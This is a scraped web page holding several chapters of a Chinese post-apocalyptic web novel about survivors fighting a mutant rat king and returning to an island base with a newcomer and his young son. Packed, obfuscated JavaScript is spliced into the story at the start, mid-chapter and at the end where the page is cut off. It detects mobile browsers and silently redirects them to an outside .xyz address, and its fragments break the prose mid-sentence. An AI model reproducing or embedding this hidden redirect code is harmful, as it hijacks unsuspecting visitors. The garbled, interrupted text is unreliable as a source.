l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252004|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼠的年轻士兵首当其冲,黏液溅满了他的手臂和侧脸。皮肤接触的瞬间,传来烙铁烫肉般的剧痛,青烟直冒。他惨叫倒地,皮肤以肉眼可见的速度变黑、溃烂、冒泡。 “我的腿!我的腿!”另一个试图侧身闪避的人被黏液射中大腿,皮肉融化塌陷,露出森森白骨。 更远处,举着铁锹的汉子刚砸碎一只老鼠脑袋,就被飞溅的黏液沾到脖颈,他惊恐地捂住喉咙,发出嗬嗬的漏气声。 短短几分钟,被黏液沾到的人在凄厉的哀嚎中翻滚,身体以恐怖的速度溶解死去。 “妈的!”萧远舟眼睛都红了,冲李阳瑞喊道:“你的藤蔓能缠住它吗?能拖多久是多久!” 李阳瑞咬着牙点头,双手按在地面,藤蔓迅速长出,缠向鼠王。藤蔓刚碰到鼠王的皮毛就冒起白烟,但藤蔓韧劲儿十足,硬是死死勒住了。 鼠王发出吱吱的怒叫声,细小的肉孔分泌出脓液,藤蔓以肉眼可见的速度被腐蚀,冒出滋滋白烟。 “撑住!”萧远舟怒吼,雷电凝成粗大的锁链,钉入鼠王四周,电蛇窜上它的身躯炸裂开来。鼠王剧烈抽搐,积蓄的第二波黏液被强行打断。 片刻后,藤蔓只剩下焦黑的几缕,萧远舟的右手微微颤抖,雷光也越来越细小。 鼠王挣扎的幅度变大,猩红的独眼锁定人群,肉孔再次鼓胀收缩,第三波致命喷射即将来临! 李阳瑞声音嘶哑:“完了完了,老大,顶不住了,这回真的要人命了。” 就在紧急关头, 一个清亮的女声忽然响起:“别慌!火来了!” 是那个校服少女!她不知何时挤到了人群前面,脸色发白,但眼神贼亮。她双手猛地合十再用力向外一推,几颗歪歪扭扭的火球迅速成型飞了出去! 虽说准头差点意思,但还是有两颗不偏不倚,正砸在鼠王那只猩红的独眼上! “嗷~!”鼠王吃痛,脑袋一甩,第三波致命的粘液喷偏了,全浇在旁边一辆废弃货车上,瞬间蚀出黑乎乎的大洞。 少女扶着膝盖,大口喘着粗气,这点火几乎抽干了她。 她还没缓过劲儿,就听见一阵急促的脚步声从侧面传来:“火系一队!就位!” 五十来个穿着作战服的士兵冲了过来,不少人身上还带着战场上的硝烟和血迹。他们动作麻利,眼神冷硬,迅速分成三拨。 领头的士官眼神锐利,手臂前指:“第一组,扇形覆盖,压制其行动。” “第二组,定点打击,目标喷射孔。” “第三组,持续灼烧,争取致命一击。” 他们燃起的火焰,可比少女的凝实凶猛多了。炽白的火球、粗壮的火柱,劈头盖脸砸向鼠王。 巨大的火焰砸在鼠王全身,腐肉被烧得滋滋作响,连溃烂肉泥中的蛆虫都化为灰烬。 片刻后,鼠王庞大的身躯晃了晃,猩红的独眼失去光泽,轰然倒地。火焰仍在燃烧,直到将它烧成一具焦黑的尸体。 “兄弟,其他方向怎么样?”李阳瑞气喘吁吁地问道。 士官声音沙哑地回答:“东侧来了一波丧尸潮,足有几千只,幸好有不少人陆陆续续过来帮忙顶上了缺口,还有只大老虎,跑起来跟风似的,尾巴一扫就倒一片,可厉害了,硬生生帮我们稳住了防线。” “上校见这边情况紧急,知道是硬茬子,才让我们撤出来支援……得赶紧回去了,剩下的交给你们了。” 剩下的人开始清理战场,对付那些被血腥味和动静吸引来的零散怪物。 10. 归途 天边泛起鱼肚白,怪物的嘶吼渐渐稀落。 萧远舟拖着疲惫的身躯回到卡车旁,车顶的大老虎正抱着晶石,啃得嘎嘣脆。老虎的脖子上挂着小布袋,发出叮当响的声音,显然装满了战利品,一只爪子把布袋按得死紧。 车厢内,小卷毛脸上头发沾了灰,脏兮兮的,正趴在江砚怀里沉沉睡着,模样乖巧。 萧远舟打趣道:“江砚,收获不少啊。你知不知道这些晶石都得交给军需处?” 江砚挑眉:“士兵们给的。怎么,你没这待遇?” 萧远舟顿时语塞:“西侧全是烂老鼠,脑子里啥都没有,也就那鼠王,有颗大晶石,早就被士兵收走了。” 江砚平静道:“你两天没睡,要是熬死了,谁来养小崽子。” “不用,你放心,熬得住。”说着,他伸脚踹向呼呼大睡的阿虎,喊道:“起来,天都亮了,还睡啥!” 阿虎迷迷瞪瞪睁开眼,嘟囔着:“老大,这也忒早了,我刚躺下没多会儿。” 萧远舟懒得废话,直接把一块金属牌拍他手里:“你真啰嗦,赶紧带人去安检站,把该搬的物资都搬回来!” 阿虎认命地爬起来,晃晃悠悠:“行行行,命苦啊,我这就去摇人。” 说完,他化身人形闹钟,挨个拍醒车上东倒西歪的同伴。 “谁?谁?丧尸!是不是丧尸又来了?”一个被拍醒的汉子惊得差点跳起来。 “丧尸你个锤子!太阳都照屁股了,那玩意儿敢出来?我看你是睡懵圈了!”阿虎没好气地吼回去:“赶紧起来!老大发话了,去安检站搬东西!动作快点!” 众人闻言,打着哈欠,揉着惺忪睡眼,下了车。 “都给我利索点儿!”阿虎扯着嗓子喊:“磨磨蹭蹭的,等着物资长腿跑啊?” 等人都走得差不多了,一个年轻士兵捧着两个小布袋跑过来,一脸实诚地说:“二位,您们好,少校让给的,说是感谢二位帮忙。” 李阳瑞掂了掂袋子,嚯,还真沉,估摸着一袋得有五十颗。他大方摆摆手:“小兄弟,算了吧,还是你们辛苦,我们就搭把手,不算啥。你们都是为了人民嘛,好东西你们留着用。” “这……那真是太感谢……” 士兵的客气话刚开了头。 萧远舟就一把抢过袋子揣进怀里,冲士兵摆了摆手:“他刚睡醒,脑子还迷糊呢,净说胡话。替我们谢谢少校,他真是大方人!” 等士兵跑远,萧远舟使劲拍了拍李阳瑞的头:“你是不是傻啊,这是我们应得的,不要白不要,你要装大方,把你的给我,我缺呢。” 萧远舟正愁呢,昨日刚花了干净,正是差钱的时候,如今,自己有娃要养,一罐奶粉上百石头,不多攒点哪够。 李阳瑞捂着后脑勺哎哟叫:“我不想着客气客气两句嘛。” “客气能当饭吃,还是能提升异能?”萧远舟斜他一眼:“你咋不学学车顶那大猫,囤的比咱们还多嘞。” 等物资搬上车,日头也升到了半空,明晃晃地烤着大地。 军用重卡打头,后面跟着小云岛的小汽车,两辆车卷起沙尘,驶离了青岩基地。 萧远舟坐在车上睡了醒,醒了睡,每次睁眼都能看见小卷毛,举着断了腿的奥曼特,奥曼特左眼还被泥糊住了,被小卷毛握在手里,一瘸一拐艰难地蹦,嘴里咻咻配音。 小娃娃头发打结,背带裤泥印一层接一层,脸颊上顶着明显的黑印,笑起来露出小白牙,嗯,变成小叫花子了。 真的是江砚生的吗?不像啊,怎么看都不像啊。 他记忆里,江砚身姿修长,举手投足间优雅尽显,气质高贵入骨。看人时眼尾轻扬,唇角常带自信笑容。身着私人定制的衣物,腕间名表低调闪耀,头发一丝不乱,周身带着淡淡香味,干净迷人。 与人交谈时,声线温润,听着如沐春风。无论什么场合,他都从容得体,优雅的谈吐,不凡的见识,总能轻易吸引所有人的目光。在高端场合,他自带光环,往那一站,便是瞩目的存在。 这样的贵公子,怎会养出脏娃娃呢?萧远舟越想越觉得离谱,忍不住又朝脏娃娃看了一眼,对方正举着奥曼特傻笑,脸上的灰蹭得更匀了。 不久,小卷毛似乎玩腻了瘸腿游戏,滚到书包边,扔掉奥曼特,坐起身,小爪在小书包里掏啊掏,掏出绿色发圈,边缘磨得起毛。 他手脚并用,爬到江砚面前,把发圈当宝贝似的想往江砚白皙的手腕上套:“漂亮的给爸爸啊。” 江砚手腕轻巧避开:“拿走,不好看。” 小卷毛眨巴着大眼睛,一脸真诚:“很好看啊。” 江砚闭上眼,头往后靠,声音里透着点疲惫:“难看。” 小卷毛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16252005|182008||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的嘴唇抿了起来,眼圈悄悄红了,却没掉金豆豆,默默把发圈塞进裤兜,小爪子又往书包里掏。 他掏出个粉色发夹,一看就是劣等货,塑料的花朵,他却献宝似的捧到江砚面前:“爸爸,要不要这个?” 江砚长长的睫毛颤了颤:“不要。” “粉粉的,你也不喜欢吗?”小家伙的声音带了点委屈的奶音。 “不喜欢。” “哦……好吧。”小卷毛声音蔫蔫的。 他把那粉发夹往自己那堆乱蓬蓬的卷毛上一别,仰起小脏脸,眼睛亮晶晶:“爸爸,江泽戴好看吗?” 江砚无奈地睁开眼。塑料花歪歪扭扭地别在乱糟糟的卷发里。孩子一双眼睛,亮得惊人,盛满了小期待。 江砚沉默了两秒:“嗯……还行吧。” 小卷毛的眼睛唰地一下亮了,手脚并用地就扑过去想抱江砚:“爸爸最好了!” 江砚伸手把他轻轻推开一点:“江泽,坐好。” 小家伙被推得晃了晃,小嘴咧开,眼睛弯成了小月牙,也不恼,乖乖挨着爸爸坐好。就是灰扑扑的小手闲不住,时不时就揪一下江砚的衣角。 萧远舟忍不住朝小卷毛扬了扬头:“江砚,等回去了给孩子好好洗个澡吧。” 江砚顺着他的目光低头,看向挨着自己坐的小孩。 小卷毛也正仰着小脏脸看他呢,黑葡萄似的大眼睛忽闪忽闪,长睫毛,翘鼻子,小嘴巴,一脸傻乐呵,浑身散发布灵布灵光芒。 他眉头微皱,认真地回应:“怎么了,不脏啊,有什么问题吗?” 萧远舟瞪大眼睛,不可置信,试探地问:“江砚,你仔仔细细看看娃娃,真没问题吗?” 江砚低头,指尖轻轻擦去小卷毛脸上的灰印。 “没问题啊。”他语气平淡,却带着不容置疑的笃定:“比昨天乖多了。” 小卷毛立刻搂住他的胳膊:“是哦,吾帮忙打坏人啦。” 江砚嗯了一声,看向萧远舟,眼神里带着困惑。 萧远舟:“……” 他算看明白了,江砚不是眼神不好,是自带十层滤镜,别说脏了点,就算滚成泥球,在他眼里估计都是插了翅膀的小天使。 萧远舟笑着说道:“没问题,孩子长得不错,讨喜。” 江砚嘴角上扬,理所当然:“嗯,还好吧。” 11. 回岛 一路无事,回程顺遂,只在晚上寻找住处时,撞见一窝异能蛇,被众人合力迅速解决。 第二日下午,上长桥前,他们与云岛的人分别。 车窗外,守灯岛的轮廓已清晰可见,萧远舟望着前方弯道,突然开口:“上次那窝腐化狼,找个时间清了,现在不处理,日后就是麻烦。” 李阳瑞在一旁点头附和:“我看行,明日让凯哥跑一趟。” “咱搬回来这么多疫苗,”大山搓了搓手,“也不知道顶不顶用?刚弄出来的玩意儿,心里真没底。” “哎呀,管它顶不顶用呢!关键是菜种子,咱得靠地里头庄稼吃饭,不晓得今年抗寒种子能不能成?” “可不是嘛,如今这天气邪乎得很,冬天能到零下五六十度,海都冻得硬邦邦的,海里的东西捡不着,吃饭不靠地里的庄稼还能靠啥。” 阿虎突然想起什么,叹道:“诶,你们说变异丧尸会不会跑到咱青岩市来啊?要是真来了,咱不就集体领盒饭,全村开席了!” 萧远舟一脚踹过去:“你他妈能不能盼点好?嘴里开过光啊?专招晦气是吧?” 阿虎赶紧讨饶:“老大,我错了,错了,我这不就是担心嘛。” “担心有屁用,”萧远舟瞪他一眼,“真来了就干呗,难不成坐着让它啃?你骨头硬点,别特么跟软脚虾似的!” 李阳瑞跟着点头:“就是,你个乌鸦嘴,我就没从你嘴里听过好话,真有情况咱封了码头和跨海长桥,怕啥?有老大,来多少劈多少。” 小卷毛听得激动,点点头奶声奶气道:“叔叔们别怕,偶也会帮忙哒!窝会用石头砸撕它们!” 江砚捏了捏他的小手,淡淡道:“你先学会不被石头砸到脚再说。” 李阳瑞笑道:“阿虎,你看看,人家这悟性,这志气都比你强哩。” “瞎扯,我咋能跟小娃娃比啊。”他眼睛往江砚身上瞟了瞟:“人家是咱老大的养子,老大看中的人,志气能差吗。” 这话一出,车里人精似的,互相递了个眼色。老大对这父子俩啥心思,明眼人谁看不出来?那真是实打实地疼。 哪怕人家小哥带着娃,老大也是爱到深处,无法自拔,绿帽子,男小三都是小事,已经无所谓了,反正末世来了,老大无三观无底线,实力强就是王道。 真是操蛋了,没想到,老大这口味,也真是……够特别的。 萧远舟眼神扫了一圈,见个个憋着笑,尤其阿虎那贱兮兮的样儿,脸色骤然阴沉:“你们在想什么?” 众人闻言,同时摇头摆手:“没有没有,我们啥也没想,你老放心,绝对啥也没想。” ………… 随着车辆缓缓前行,守灯岛越来越近,岛上轮廓逐渐清晰。终于,车子驶进了基地内。 “到了。”萧远舟率先跳下了车。海风吹来,带着咸湿的清爽,抚去连日奔波的疲劳。 阳光正好,洒在基地的每一处角落,广场上人来人往,扛物资的、修栅栏的、晒海货的,忙得脚不沾地,一派热火朝天的景象。 “老大!你们可算回来了!”李福满脸堆笑地跑过来,“一路顺不顺利?没出啥岔子吧?” 萧远舟点头:“晚点细说。我去仓库拿点东西,你先叫几个人来搬物资,顺带通知大伙,明儿到广场来打疫苗。” “哎哎,好嘞!老大您放心!”李福应得干脆。 萧远舟刚走,李福就转头冲阿虎道:“阿虎,大伙儿都辛苦了,你带弟兄们回宿舍歇歇,剩下的我来打理。” 众人陆续下车,江砚抱着孩子,最后一个跳下来。 李福瞅见他,好奇地问:“这……这位是?” 阿虎见状,赶紧把他拽到角落,压低声音:“老大找的大嫂,这一路看着挺好说话的,比老大脾气顺多了。” 李福眼睛瞪得溜圆,又偷瞄了江砚好几眼,白T恤配牛仔裤,身上还沾了灰,身姿挺拔,模样清俊,可明摆着是个男人啊。 他拽了把阿虎:“你瞎咧咧啥?我看你莫不是疯球了,那是个爷们!咱基地好姑娘不少,还能看上男人不成?” “李老板,你这就不懂了。”阿虎挤眉弄眼,“大城市都兴这个,恋爱自由嘛。再说老大去大城市念书,保不齐就染上点习俗。” 李福摆摆手:“这不成,不成,这像什么话,要断后的大事儿,你们也不劝劝。” 阿虎赶紧拉他胳膊:“你就是年纪大了,见识少了,太古板了!如今活着就不易,哪顾得上传宗接代啊?老大舒心了,舒服了,断不断后有啥要紧?” “当老大的本来就辛苦,多累啊,找个知冷知热的人在身边,说说话,解解乏,咋了?碍着谁了?再说了,” 他朝江砚的背影努努嘴:“您瞧瞧这位,模样周正吧?性子瞧着也温顺。能把老大伺候舒坦了,让老大有个地儿……嗯,泄泄火,顺顺毛,咱大伙儿的日子不也好过点? “您看看北岛那姓风的,弄一堆女人摆着,虚头巴脑!咱老大多专一?浑身力气就撞这一位!我都怕这小身板……扛不住呢!这活儿,还是不容易的!” 李福啐了一口:“呸!狗嘴里吐不出象牙!说话忒糙!那事儿……是能这么说的吗?男人在床上也得讲究个情投意合,心疼人!” 李福瞅瞅江砚那略显单薄的背影,再想想萧远舟那说一不二的性子,最终无奈摇了摇头:“唉……罢了罢了,随他去吧。” 这时,江砚抱着娃,走到李福跟前,语气平淡:“你好,李老板是吧?请问我住哪里?我把东西先搬过去。” 李福回过神:“放心放心,指定给你安排最好的地儿!” 他手往不远处一指:“就那二层小楼,二楼整个归你管了,日后安心住下。好好……做工,虽说你不用出力,但也别偷懒哈。” 江砚只淡淡点头:“多谢。”抱着孩子转身欲走。 李福赶紧伸手拦住他,眼睛瞟着小卷毛:“这是你弟弟吧?交给我就行,我给安排宿舍,跟你们住一屋,晚上多碍事啊,耽误你做工,咱们基地干活可不兴偷懒。” “不是,”江砚低头,“他是我儿子。” “哦哦,儿子好啊,儿子……”李福顺嘴应着,突然卡壳,眼珠子瞬间瞪得溜圆,声音都拔高了八度:“啥?你儿子?你都有娃了?” 小卷毛从江砚怀里探出头:“伯伯你好哇。” 李福张开嘴,半晌没能发出声。 阿虎赶紧过来打圆场:“江兄弟,他上年纪了,没见过大场面,你先过去吧,我给做点思想工作。” 江砚没多言,转身往小楼走。 小卷毛趴在他肩头,挥着小手喊:“伯伯再见!叔叔再见!” 直到父子俩的身影消失在楼门口,李福这才像被按了启动键,猛地扭头薅住阿虎胳膊:“他他他……他真有娃?老大知道不?这是把父子俩都收了?” 阿虎疼得龇牙咧嘴:“哎呀,李老板你小点声!这叫买一送一,老大赚了!” 李福半天才憋出一句:“赚个屁!一个没成过家的年轻男人,谁乐意当后爹啊?你乐意吗?” “我………我跟他不一样,我是正常男人,不不秒出啊,再说娃娃多会来事,一口一个蜀黍喊得老大心花怒放,笑得一脸慈父样儿。” 正说着,萧远舟从仓库出来了,怀里抱满了生活用品,刚走到广场,就见两人凑在墙角嘀咕,头挨着头,声音压得极低,还时不时往小楼方向瞟。 “你们俩在说什么?”萧远舟的声音冷不丁响起。 两人吓了一跳,猛地回头,阿虎脸上的表情还没来得及收,讪讪地笑:“没、没啥啊老大,就……就商量物资怎么分类呢!对吧李老板?!” “对对对,千真万确,疫苗种子,疫苗种子!” 萧远舟挑眉,目光扫过两人心虚的脸,显然不信:“是吗?我看着怎么不太像呢?” 阿虎慌忙摆手:“绝对没有!老大您误会了!天地良心!” 李福连不迭点头:“是是是。” 虽然他很好奇大嫂,但此时显然不是问话的好时机,老大可是最讨厌人在背后嚼舌根的。 萧远舟冷哼一声,指尖一股电流唰的一下,窜到了阿虎身上,阿虎瞬间浑身抽搐,头发跟炸了毛似的,直挺挺晕倒在地。 周围的人都被这动静惊到,纷纷停下手里的活。 萧远舟踹了踹躺在地上的人:“都给我看清楚了,这就是在背后嚼舌根的下场,若是让我听见基地里头传出啥风言风语,拿你们算账。” 他眼神直勾勾盯上卡车旁的人:“我可不是好脾气,回程路上你们一个个那眼神,真当我瞎啊?” “我只说一遍,你们都记住了,江砚是我大学同学,如今落了难,我撞见了,能不搭把手嘛?” 他顿了顿,又道:“你们整天就琢磨些龌龊心思!清清白白的人,被你们编排成啥样了,传出去丢的是我的脸,明白吗?” 李阳瑞等人老实点头,异口同声:“明白了,明白了。” “明白了还愣着当木头?把这蠢货拖走,挡到老子的路了。” 大山立刻挥手:“快快快!拖走拖走!” 萧远舟本不是苛待属下的性子,但有些事,不敲山震虎不 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江砚拿着破旧被单,往侧卧的床上铺。阳光从玻璃窗漏进,落在他的身上,显得整个人少了冷冰冰,多了几分温和。 江砚回头,手里还捏着被角,没说话。 倒是小卷毛,抬起头喊道:“蜀黍你好哇。” 萧远舟嗯了一声,把手里的东西往桌上放,杂乱的物品碰撞出轻响。 他从里面找出干净的暖黄色被单说道:“江砚,我从仓库里找的,用这个吧。” 江砚眨眨眼没拒绝:“谢谢。” 萧远舟把被单递过去,又从桌上拢过牙刷、瓷杯、洗脸巾,最后拎起两套衣服,一并塞到江砚手里:“床上用的、洗漱的,还有这衣服,都拿去。” 江砚接住,指尖碰了下他的手背,又飞快缩回去:“好。” 他把东西仔细放在床沿,然后拿起那床暖黄色被套,继续一丝不苟地铺展。阳光在他柔软的发丝间跳跃,晕开浅浅的光圈。 萧远舟的目光落回地上的小家伙身上。小卷毛脸蛋灰扑扑的,背带裤也蹭得黑黑的。 “江泽,”萧远舟走过去,蹲下身,尽量让自己的语气听起来不那么像下命令:“过来,叔叔带你去洗澡。” 侧卧里,江砚正给枕头套上新的枕套,闻言动作未停,清冷的声音传来:“麻烦吗?我很快就好,我来洗。” “不麻烦。”萧远舟语气笃定:“刚回来,正好没事。交给我。” 说着,他伸手,动作略显生疏但还算轻柔地把小家伙从地上捞起来。 基地供电的地方屈指可数,这间屋子却是有电,当老大的,总有些旁人没有的特殊待遇。 浴室里摆着只大木盆,萧远舟先倒了半盆盆水,又兑了些凉水,手伸进去搅了搅,试准温度才把光溜溜的小卷毛抱进去。 小家伙舒服得眯起眼,奶声喟叹:“好苏胡哇~。” 萧远舟拿起毛巾开搓。 水:“我脏了。” 换水又搓。 水:“我又浑了。” 倒了换,如此,折腾三趟,萧远舟收获了一只限量版奶香味的糯米团子。 可事儿还没完。趁着头发还湿软,萧远舟拿起木梳子,对付一团乱麻卷发,一点一点捋开,动作轻,偏生头发缠成了死结,梳一下疼一下。 小卷毛疼得泪眼汪汪:“呜呜呜~,窝……窝不要你,爸爸啊,坏叔叔扯窝头发,好痛痛啊,太坏啦,熬呜,救命啊~。” 小卷毛在水盆里扑腾起来,水花溅了萧远舟一身。 娃娃像只炸毛的小猫,蜷起腿往盆角缩,小手死死扒着盆沿,哭道:“不要你碰窝!你好凶啊!你在扯头发,窝要找爸爸告你啊!” “怎么了?”江砚冷清清的声音传来,让哭闹的小家伙安静了一瞬。 小卷毛似乎见了救星,浑身湿漉漉,朝人身边挪:“爸爸!他扯我头发,好疼疼!” 萧远舟抹了把脸上的水:“他头发打结了,我只是想给他梳开。” 江砚满脸茫然:“是吗?” 萧远舟真诚点头:“是的。” 江砚蹲下身,仔细看了看一头乱糟糟的卷发,叹道:“是我没注意到,我还以为……他头发天生就是这炸毛的款式,你继续吧。” 小卷毛瞪圆了眼睛,像是没听清,愣了两秒才哭诉:“爸爸!他是坏人人啊!” 他拍着水,水花溅得更凶:“呜呜呜……他会把窝头发扯掉的!” 江砚没回头,只淡淡道:“江泽,放心,梳开就不疼了。” 12. 开荒 落日时分,夕阳悬在海面,将山顶镀上一片橙红。海风掠过崖畔,野草沙沙作响。田地里,结束了一日辛劳的人们,正扛起农具,三三两两走向基地的大门。 广场上飘来鱼汤香,大铁锅里白烟腾腾,王翠花抡着长柄勺往碗里盛,味儿还行,就是汤多面少。 萧远舟收回目光,转向屋内,见小卷毛坐在沙发上,双手抱着白虎的脑袋。他换了身崭新衣裳,亮蓝色卡通短袖搭配工装裤,小脸白净,头发蓬松柔软,一黑一蓝的小拖鞋在地板上蹭出轻响,脸蛋鼓鼓的,摆明了还在记恨梳头疼的事。 “小卷毛,吃饭了。”萧远舟喊他。 小家伙头一扭:“窝不吃。” 萧远舟没招儿了,朝正拖地的江砚使了个眼色。 江砚刚冲完凉,整个人清清爽爽的。他把拖把往墙根一靠,甩了甩手上的水珠子,居高临下地瞅着小卷毛:“江泽,你闹什么脾气?” 小家伙立刻委屈巴巴地告状:“我没有闹脾气。”小手指向萧远舟:“爸爸,是他,你都不知道,扯得窝好疼啊。”为了增加说服力,小爪子用力扒拉自己蓬松的卷发,展示罪证。 江砚反驳:“是你头发打结,梳开头发才不会长虫子,你不吃就饿着吧。” 小卷毛眼圈又红了,却强忍着没掉泪,闷声道:“饿就饿!反正窝不怕饿饿。” 江砚没再理他,转身对萧远舟道:“走吧。” 萧远舟看了看江砚干脆的背影,啧了声,脚步没动:“小卷毛,你真不吃嘛?” 小卷毛小声请求:“叔叔,窝还是要吃的,你给我端上来好不好哇。” 萧远舟蹲下身,嘴角含着一抹笑意:“你还疼不?叔叔给你呼呼好不好?” 小家伙小耳朵明显动了动,闷闷地说:“呼呼也没用哒……痛痛早就飞飞了” 萧远舟眼珠一转,没再提把人弄疼的事,而是像发现了新大陆一样:“哎哟,你今儿穿新衣服了吧?看着可真精神啊,白白嫩嫩的。” 小卷毛的小肩膀微微松动了一下。 萧远舟再接再厉:“新衣服,就咱俩在这楼上看看,多可惜啊!下去转转,保准有人问这谁家乖娃娃。” 小家伙被夸得一怔,偷偷掀起眼皮瞟他,小手无意识地揪了揪新衣服,拖鞋在地板上碾出轻响:“叔叔,真、真的好看吗?江泽穿新衣服真的好看吗?” “那当然!”萧远舟表情真诚无比:“叔叔啥时候骗过你?” 小家伙终于踩着拖鞋站起身,嘟囔道:“那好吧,叔叔,我们一起下去。” 萧远舟笑了笑,一把将小傲娇抱了起来。 下到一楼,屋里人还不多,只有江砚和李阳瑞在摆放碗筷,空气中弥漫着面汤的鲜香。 萧远舟问道:“其他人呢?吃饭都不积极?” 李阳瑞一边摆碗一边回答:“莹姐从镇上的社区,搬了台旧冰柜回来,还是好的,能通电,他们跑去凑热闹了,估计一会儿就回来!” 窗外的天色慢慢暗下来,白虎懒洋洋趴在客厅打盹,鱼汤顺着风往鼻子里飘,小卷毛鼻尖动了动,偷偷咽了口口水。 没过多久,院子外传来一阵嘈杂的脚步声。 张丽娟的大嗓门最先传来:“这冰柜可真够沉的,要不是老陈用金属异能加固了推车,半路准得散架!” “那是,我这异能可不是白练的。”陈凯低沉的声音里带着笑意,腰间的刀片碰撞叮当作响。 黑子憨厚的声音插进来:“陈哥,咱基地里,论本事,就数你,莹姐,还有老大最厉害了!杠杠的!” 一群人热热闹闹地涌进一楼办公处,走在最前面的汪成文推了推眼镜,突然刹住脚步:“这位是...?”他的目光落在江砚身上。 江砚站姿笔挺,仿佛一株孤直的雪松,面对突然涌入的人群和注目,眼神依旧平静,只是微微颔首。 小卷毛被这阵仗吓到了,小手紧紧抓住江砚的裤腿,只敢露出半张小脸,偷偷打量。 萧远舟连忙介绍道:“这是我大学同学,江砚,还有他儿子江泽,叫小卷毛就成。” “哇!这娃娃长得乖哩!”张丽娟第一个反应过来,独臂一挥就要上前,吓得小卷毛又缩回了江砚身后,只留下几撮不安分的卷毛在外面晃动。 李阳瑞赶紧拦住她:“娟姐你悠着点,别吓着孩子。” 张丽娟女儿走得早,所以特别喜欢小孩子,对基地里的小孩也向来上心。她从包里掏出两个刺梨,递过去说:“小卷毛,阿姨巡山时摘的,给你吃。” 小卷毛瞅着张丽娟手里的刺梨,抬头望向江砚。 “拿着吧,记得说谢谢。” 小家伙愣了愣,从江砚身后挪出,仰着脸望向张丽娟。 张丽娟立刻把刺梨递过去,声音柔和:“尝尝?甜丝丝的,就是有点涩。” 小卷毛捧着金灿灿的刺梨,小声地、认真地说了句:“谢……谢谢阿姨。”说完还忍不住凑近闻了闻那果子的味儿。 “哎!真乖!声音也甜!”张丽娟笑得眼角褶子都出来了,转头拍了下黑子胳膊,“黑子你看!这小娃多招人疼!这双大眼,又黑又亮,跟我家妞妞小时候一个样儿,可好看了哩!”声音里带上了点不易察觉的沙哑。 黑子怕她难过,赶紧拍拍她后背:“娟姐,都过去了。你别难过,北岛那帮孙子,迟早遭报应。” 张丽娟吸了下鼻子,用粗糙的手背飞快地抹了下眼角,转回头对着小卷毛,声音放得更轻了:“娃娃,告诉阿姨,几岁啦?” 小卷毛眨眨眼,先伸四根指头,又蜷起一根,怯生生:“阿姨,五、五岁啦。” 江砚眉峰微蹙,伸手捏住他没伸直的指头,慢悠悠扳正,吐出一个字:“五。” 小卷毛盯着自己突然变多的手指,眼睛瞪得溜圆,猛地点头,举着五根指头晃:“窝五岁啦!” 李阳瑞噗嗤乐了:“刚数的是三吧?” 小卷毛脸一红,攥着拳头嘟囔:“手、小手不听话嘛……” “没事没事,现在对啦!五岁好,是大娃娃了!”张丽娟笑得合不拢嘴。 柒莹穿着件洗得发白的工装外套,袖口卷到手肘,露出小臂,目光在江砚身上停留半秒,转头冲萧远舟问道:“新来的?” “嗯,”萧远舟点头,“日后就住这儿了。” 李福端着个冒热气的黑铁锅进来,锅沿还沾着点野菜,他扯着嗓子喊:“都让让啊,小心烫着。”说着把锅往桌上一放,白雾腾地漫开来。 小卷毛踮着脚往锅里瞅,鼻尖动了动。 “坐好。”江砚拎着他后衣领把人提到长凳上。 众人围上桌,萧远舟给小卷毛盛了一碗面汤,江砚伸手接过,把碗里的鱼刺挑干净才递过去。 吃饭时,萧远舟将青岩市发生的事儿简单讲了一遍,包括出现变异丧尸,邻市被攻陷。 黑子手里的筷子顿了下:“这么邪门?” “对啊,”李阳瑞扒了口面条,“人全跑青岩基地来了,基地外头全是人,说是会玩火,全身都冒着火,邻市就是被它彻底搞废了。” 柒莹放下碗,冷静地抓住关键问:“控火?是冒出来好几个,还是就撞见一个?” “头一只。”萧远舟应道。 汪成文摸了摸下巴:“火系的?那用水能浇灭不?” “不好说,”萧远舟摇摇头,“要是好对付,邻市也不会被攻陷了。” 柒莹指尖在桌面上敲了敲:“怕就怕跟人一样,一个个都开始变异。” 这话一出,桌上瞬间没了声,连嚼面条的动静都停了。 萧远舟把筷子往碗沿上一磕,打破沉默:“别自己吓自己。就算真有第二只、第三只,咱这基地偏远靠海,不一定能跑到这儿来。” 他抬眼扫过众人,声音沉了沉:“先顾好眼前的。陈凯,明天带十几个兄弟,跟我去环岛公路清理那窝变异狼,趁还没成气候,早点处理掉。” “好。”陈凯应得干脆。 “丽娟姐,你负责基地守卫,如今夜里不太平,多上点心。” “哎,知道了。”张丽娟点头。 “大伙也跟手底下的兄弟说一声,外出千万注意安全,小心为上。别为了口吃的把命丢了,命才是最金贵的。” 众人异口同声:“是。” 饭桌陷入短暂的沉默。江砚忽然开口:“我做什么?” 萧远舟愣了下,他没打算让江砚干啥活,当初带人回来,更多是出于责任。瞅着江砚这模样,能干啥?搞研究?基地连台像样的仪器都没有。 萧远舟想了会儿,抬头问正收拾碗筷的李福:“老李,现在有啥活儿还缺人手的?” “哎哟,缺人的活儿那可多了去了!”李福掰着手指数:“开荒、修水渠、挖地洞、加固围墙、修那些破机器……忙都忙不过来!” 李福说着,瞥见江砚修长的手指,想起阿虎跟他嘀咕的那些话,又笑了笑,改口道,“要不你帮我打打下手,记记账?这活儿清闲。” 江砚却摇摇头,语气挺认真:“我会种田。” 萧远舟有些意外地抬头:“江砚,别开玩笑了,那活儿你哪干得来?还是记账吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 